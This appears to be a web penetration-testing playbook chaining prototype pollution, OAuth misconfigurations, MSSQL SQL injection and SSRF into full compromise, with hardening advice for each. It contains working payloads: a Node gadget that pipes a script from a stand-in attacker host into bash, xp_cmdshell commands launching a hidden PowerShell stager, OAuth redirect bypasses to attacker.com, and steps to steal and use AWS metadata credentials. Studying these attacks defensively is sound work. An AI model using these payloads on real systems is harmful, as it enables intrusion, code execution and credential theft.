Server-Side Web Pentest Playbook: Prototype Pollution, OAuth Flaws, SQLi-to-RCE, and SSRF

Four of the highest-impact server-side web vulnerability classes, chained to full compromise. Prototype pollution → RCE via child_process gadgets, OAuth misconfig → account takeover, MSSQL SQLi → SYSTEM via xp_cmdshell + PrintSpoofer, and SSRF → AWS IAM credential theft. Theory, exploitation, and hardening for each.

Four vulnerability classes show up in almost every engagement against a modern web application. They look unrelated, but the mindset is the same - find where untrusted input feeds into a sensitive operation without type or semantic validation. This playbook walks prototype pollution, OAuth 2.0 misconfigurations, SQL injection to RCE, and SSRF into cloud metadata - each with theory, a real exploitation path, and the hardening a defender needs.

1. Prototype Pollution → RCE

Theory

JavaScript objects inherit from Object.prototype. If an attacker can set arbitrary properties on the prototype chain, every object in the application gets those properties as defaults. Because many libraries read options from objects without explicit defaults, polluted properties silently change application behavior.

The primitive is usually a vulnerable recursive merge or deep clone function - lodash.merge, lodash.defaultsDeep, older Object.assign polyfills, or hand-rolled versions - that walks an input object and assigns keys to a target without filtering __proto__, constructor, or prototype as special.

// Vulnerable recursive merge
function merge(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Attacker-supplied JSON
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log({}.polluted);  // "yes" - every subsequent object inherits this

Pollution itself isn’t RCE. The escalation path is finding a gadget - code that reads a prototype-defaulted property and uses it for something dangerous.

Gadget 1: child_process.spawn reads shell, env, argv0

Node.js’s spawn() accepts an options object. If a field isn’t explicitly set on that object, reading it falls through to the prototype.

// Pollute
Object.prototype.shell = "/proc/self/exe";
Object.prototype.argv0 = "node";
Object.prototype.NODE_OPTIONS = "--require /proc/self/cmdline; -e require('child_process').execSync('curl http://attacker/shell.sh|bash')//";

// Any later spawn() call - even for an innocuous command - executes the payload
require('child_process').spawn("echo", ["harmless"]);

This works on Node 10-20 unless the calling code explicitly passes shell: false, env: {} every time.

Gadget 2: EJS outputFunctionName

The EJS template compiler reads opts.outputFunctionName when generating its JS template function. If polluted, the value is embedded in the compiled function directly - any valid JS runs:

Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id');//";
ejs.render("<%= 'hi' %>");  // executes `id`

Gadget 3: Handlebars, pug, and the SafeString family

Each has its own prototype-readable field that ends up in the compiled output. Snyk and GitHub Security Lab maintain gadget lists per-library.

Finding Pollution Sinks

  1. Identify the merge/clone primitive in the codebase (lodash.merge, _.defaultsDeep, hoek.merge, or hand-rolled).
  2. Identify user-controlled input that flows into it - req.body, req.query, JSON-parsed cookies.
  3. Grep the codebase for options.<field> reads without explicit defaults.
  4. Grep installed packages in node_modules/ for known gadget chains.

Remediation

  • Upgrade lodash (≥ 4.17.21), switch to lodash.mergeWith with a customizer that rejects __proto__.
  • Use Object.create(null) for option bags that accept user data.
  • Object.freeze(Object.prototype) - breaks some libraries, but bulletproof for those that tolerate it.
  • Use Maps instead of plain objects for user-controlled key-value storage.

2. OAuth 2.0 Misconfigurations → Account Takeover

OAuth’s spec is large and implementations implement it piecemeal. The common flaws cluster into five buckets.

2.a - redirect_uri validation

If the authorization server doesn’t enforce exact match on redirect_uri, an attacker can redirect the authorization code to a host they control:

https://auth.target.com/authorize?
  client_id=legit_app&
  redirect_uri=https://attacker.com/callback&
  response_type=code&
  scope=profile+email

The victim, already logged into the authorization server, sees a normal consent screen (scopes listed) and clicks Approve. The code lands on attacker.com, which exchanges it for an access token.

Variants that bypass weak validation:

  • redirect_uri=https://target.com.attacker.com/cb - suffix-match flaw
  • redirect_uri=https://target.com@attacker.com/cb - URL parsing flaw
  • redirect_uri=https://target.com/path/../attacker.com/cb - path traversal in the match
  • redirect_uri=https://target.com#@attacker.com/cb - fragment parsing difference
  • Unicode lookalikes for each character

2.b - Missing state → CSRF → account takeover

state is a CSRF token for the OAuth flow. If the application omits or doesn’t validate it, an attacker can fix the authorization response to their own account:

  1. Attacker starts OAuth flow normally, stops after receiving code at the callback
  2. Attacker sends victim the callback URL: https://target.com/oauth/cb?code=ATTACKER_CODE
  3. Victim clicks, target exchanges the code - and links the attacker’s OAuth identity to the victim’s session

If the OAuth link is the primary login method, the attacker now logs into the victim’s account.

2.c - Token leakage via Referer

If the OAuth callback page contains any external link or image, and the token (authorization code or access token) is in the URL, clicking the link sends the token in the Referer header to a third party.

Worse: if the token is in the URL fragment (implicit flow), it’s in the browser’s history.

2.d - PKCE downgrade

In a PKCE flow, the client generates code_verifier, hashes it as code_challenge, sends the challenge with the initial request, and sends the verifier at token exchange. If the authorization server doesn’t require PKCE when one flow started with it, an attacker who captures the code (via any of the attacks above) can complete the exchange without the verifier.

2.e - Scope escalation via . and +

Some authorization servers parse scopes loosely. Requesting profile.admin or profile+admin when only profile was approved may grant extra scopes by library-specific parsing bugs.

Exploitation Testing Checklist

  • Try redirect_uri variants (suffix, path traversal, Unicode, IP)
  • Strip state, reuse stale state, check if token rotates bound to state
  • Intercept with Burp, check if the access token ends up in the History or a logged-in Referer
  • Strip code_challenge/code_verifier, see if the flow still completes
  • Mutate scope with ., +, ,, newline
  • Check iss, aud, azp claims on the ID token - strict validation?

Remediation

  • Exact-match redirect_uri, pre-registered per client
  • Require state, bind it to session server-side
  • PKCE mandatory for public clients; recommended for confidential
  • Referrer-Policy: no-referrer on OAuth callback pages
  • Short token lifetimes, one-time-use codes
  • Validate aud, iss, exp on every ID token

3. SQL Injection → SYSTEM on MSSQL

Classic SQL injection is a Tuesday. SQL injection on MSSQL with service-account-high privileges is Domain Admin by noon.

The Path

Blind SQLi  → enable xp_cmdshell  → PowerShell reverse shell
                                → SeImpersonatePrivilege → PrintSpoofer / GodPotato
                                → SYSTEM

Discovery - Blind SQLi on MSSQL

Login form returns different responses for truthy vs falsy payloads:

admin' AND 1=1--  → valid redirect
admin' AND 1=2--  → "invalid password"

Confirm the backend is MSSQL:

admin' AND @@version LIKE 'Microsoft%'--

Escalation - Enable xp_cmdshell

Stacked queries if permitted (; or the ODBC {call} syntax):

admin'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

If stacked queries are blocked, same effect via EXEC AT linked servers or OPENROWSET.

RCE - PowerShell Beacon

admin'; EXEC xp_cmdshell 'powershell -w hidden -e <base64_cobalt_stager>';--

The shell returns as the SQL service account - NT SERVICE\MSSQLSERVER by default. That account has SeImpersonatePrivilege.

Local Privesc - SeImpersonate → SYSTEM

SeImpersonatePrivilege is the “god mode” of local Windows privilege escalation. It lets the holder impersonate any token they can obtain - which includes tokens from any RPC service that hands them out.

Working PoCs, all current through 2026:

  • PrintSpoofer - spoofs the Print Spooler service to get a SYSTEM token. Works on most Windows builds except those with Spooler disabled.
  • GodPotato - abuses the DCOM RPC services available even when Spooler is off. Works on all Server 2016+ / Windows 10+.
  • RoguePotato - older; requires an OXID resolver redirection.
C:\> GodPotato.exe -cmd "cmd /c whoami"
[*] NT AUTHORITY\SYSTEM

From SYSTEM to Domain Admin

On the SQL server box, one of:

  • Dump LSASS → obtain domain admin credential if a DA ever logged in
  • Use the machine account via Kerberos - DCSync often works directly from a domain-joined host with LSA Secrets
  • Lateral movement via the machine’s Kerberos ticket in memory

Remediation priorities (in order of what actually matters):

  1. Parameterize queries. This fixes every SQLi.
  2. Run SQL Server as a low-privilege account without SeImpersonatePrivilege. This alone breaks the chain even if SQLi lands.
  3. Disable xp_cmdshell and block sp_configure for the app’s DB user.
  4. Use Windows authentication with least-privilege rights to the app’s database only.

4. SSRF → Cloud Metadata → IAM Takeover

Theory

Cloud providers expose a metadata service on a link-local IP (169.254.169.254) to instance-local clients. That service returns, among other things, temporary IAM credentials for the role attached to the instance. Any SSRF that can reach localhost or link-local addresses can steal those credentials.

Discovery - SSRF in a PDF Generator

A “generate PDF report” feature accepts a template_url. Canary payload:

template_url=https://<burp-collaborator-id>.oastify.com/

Burp Collaborator receives a hit from the server’s egress IP. SSRF confirmed.

Bypassing “no localhost” filters

Common filter attempts and bypasses:

Filter Bypass
Block 127.0.0.1 literal http://127.1 / http://0.0.0.0 / http://[::1]/
Block 169.254.169.254 Decimal: http://2852039166/ - same IP
  Hex: http://0xa9fea9fe/
  Mixed: http://169.254.169.254%2523.attacker.com
Block RFC1918 DNS rebinding - attacker-controlled hostname rotates between public IP (pass filter) and metadata IP (resolve again)
Block scheme != https gopher://, dict://, file:// depending on HTTP client

Extracting AWS IAM credentials

AWS IMDSv1 (unauthenticated):

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ EC2-WebApp-Role

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebApp-Role
→ {
    "AccessKeyId":"ASIA...",
    "SecretAccessKey":"...",
    "Token":"...",
    "Expiration":"2026-04-18T15:00:00Z"
  }

Using the stolen credentials

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Enumerate what the role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name EC2-WebApp-Role
aws s3 ls
aws ssm list-commands

Common attached policies on “web app” roles: S3 read on customer data buckets, SSM to SendCommand on other instances (lateral movement), KMS Decrypt on application keys.

Remediation

  • Enforce IMDSv2, which requires a PUT with a session token header - most SSRF primitives are GET-only and can’t deliver it.
  • Hop limit = 1 on IMDS to prevent container-level SSRF reaching the host’s metadata service.
  • Egress allowlist: the web app doesn’t need to make arbitrary outbound HTTP - whitelist its real dependencies.
  • IAM role least privilege: the role attached to an EC2 instance should be the minimum required for its function, not the project’s general-purpose “web role.”

Azure / GCP equivalents

  • Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 - required Metadata: true header (filter bypass via header injection)
  • GCP: http://metadata.google.internal/computeMetadata/v1/ - required Metadata-Flavor: Google header (same bypass opportunity)

Same primitive, same escalation pattern across providers.

Chaining: Which Primitives Combine Into a Full Breach

An experienced tester knows what to look for first:

  • Finding prototype pollution in a login/sign-up flow? Look for OAuth - pollution-to-RCE via the OAuth library’s compiled templates is common.
  • Finding blind SQLi? Check the DB connection string for a non-sa-equivalent. If NT SERVICE\MSSQL$*, SYSTEM is an hour away.
  • Finding SSRF? Identify the cloud provider first - IMDSv2 enforcement is environment-specific.
  • OAuth flaws + session management? The account-takeover path often goes through OAuth even when the login form is perfectly fine.

Summary

These four classes - prototype pollution, OAuth misconfig, SQLi-to-RCE, SSRF - cover roughly 60% of high-impact web findings in modern engagements. The code patterns that cause each are documented, their gadgets are enumerable, and their remediations are concrete. What makes them interesting is the chaining: a medium-severity pollution becomes RCE via a gadget; a low-severity OAuth oversight becomes account takeover via state omission; SSRF becomes cloud compromise via IMDSv1.

Every “low severity” web bug is waiting to be chained. The operator’s job is to find the chain that ends at the business impact - not to fill the report with context-free findings.

← Home More Web exploitation →